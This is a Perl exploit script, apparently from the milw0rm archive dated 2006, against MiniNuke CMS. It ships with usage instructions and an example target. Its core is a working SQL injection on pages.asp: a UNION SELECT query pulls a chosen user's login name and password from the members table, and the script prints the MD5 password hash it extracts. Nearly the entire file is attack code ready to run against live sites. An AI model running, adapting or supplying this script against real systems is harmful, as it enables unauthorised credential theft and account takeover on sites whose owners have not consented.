50 lines
No EOL
2 KiB
Perl
Executable file
50 lines
No EOL
2 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
#Method found & Exploit scripted by nukedx
|
|
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
|
|
#Orginal advisory: http://www.nukedx.com/?viewdoc=9
|
|
#Usage: mini.pl <victim.com> </mininuke-dir> <userid>
|
|
use IO::Socket;
|
|
if(@ARGV != 3){
|
|
print "
|
|
+**********************************************************************+
|
|
+Welcome to MiniNuke CMS System all versions (pages.asp) SQL-inject xpl+
|
|
+ Usage: mini.pl <victim> <directory> <userid> +
|
|
+ Example: mini.pl sux.com / 1 +
|
|
+ Method found & Exploit scripted by nukedx +
|
|
+**********************************************************************+
|
|
";
|
|
exit();
|
|
}
|
|
#Local variables
|
|
$server = $ARGV[0];
|
|
$server =~ s/(http:\/\/)//eg;
|
|
$port = "80";
|
|
$mndir = $ARGV[1];
|
|
$victimid = $ARGV[2];
|
|
$sreq ="http://".$server.$mndir."pages.asp?id=3%20union+select+0,kul_adi,sifre,0,0+from+members+where+uye_id=".$victimid;
|
|
#Writing data to socket
|
|
print "+**********************************************************************+\n";
|
|
print "+ Trying to connect: $server\n";
|
|
$mns = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
|
|
print $mns "GET $sreq\n";
|
|
print $mns "Host: $server\n";
|
|
print $mns "Accept: */*\n";
|
|
print $mns "Connection: close\n\n";
|
|
print "+ Connected!...\n";
|
|
while($answer = <$mns>) {
|
|
if ($answer =~ /([\d,a-f]{32})/) {
|
|
print "+ USERID: $victimid\n";
|
|
print "+ MD5 HASH: $1\n";
|
|
print "+**********************************************************************+\n";
|
|
exit(); }
|
|
if ($answer =~ /number of columns/) {
|
|
print "+ This version of Mini-Nuke is vulnerable too but default query of SQL-inject does not work on it\n";
|
|
print "+ So please edit query by manually adding null data..\n";
|
|
exit(); }
|
|
}
|
|
print "+ Exploit failed\n";
|
|
print "+**********************************************************************+\n";
|
|
|
|
# nukedx.com [2006-02-19]
|
|
|
|
# milw0rm.com [2006-02-19] |